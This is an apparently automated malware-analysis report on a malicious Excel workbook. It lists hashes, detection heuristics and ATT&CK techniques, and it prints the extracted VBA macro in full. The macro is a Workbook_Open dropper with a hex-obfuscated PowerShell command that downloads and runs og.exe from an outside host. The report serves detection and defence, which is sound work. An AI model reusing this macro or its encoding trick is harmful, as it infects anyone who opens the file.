Xls.Dropper.Agent-8396226-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 58bcc4af36a01d9a…

MALICIOUS

Office (OLE)

543.5 KB Created: 2020-06-26 17:33:36 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: 420be14b330a7ea81787283f3cbccc63 SHA-1: 186998f83b36eb982df245edc10326a9a613eb8f SHA-256: 58bcc4af36a01d9afa1651934c9cdadbbd98f61f4cace97f3977a3cc182cf840
222 Risk Score

Malware Insights

Xls.Dropper.Agent-8396226-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The Workbook_Open macro executes a Shell command that downloads a file named 'og.exe' from 'http://cornerstonenshippingcompany.com/og.exe' to the temporary directory and then executes it. This indicates the file acts as a dropper for a secondary payload, likely delivered via spearphishing.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-8396226-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8396226-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1355 bytes
SHA-256: c6336def87a54ae6e9042322e67fe50d4d9e751ca4a52851e0a7cbd9e979c51e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Shell (ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F636F726E657273746F6E657368697070696E67636F6D70616E792E636F6D2F6F672E657865272C24656E763A54656D702B275C6F672E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6F672E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.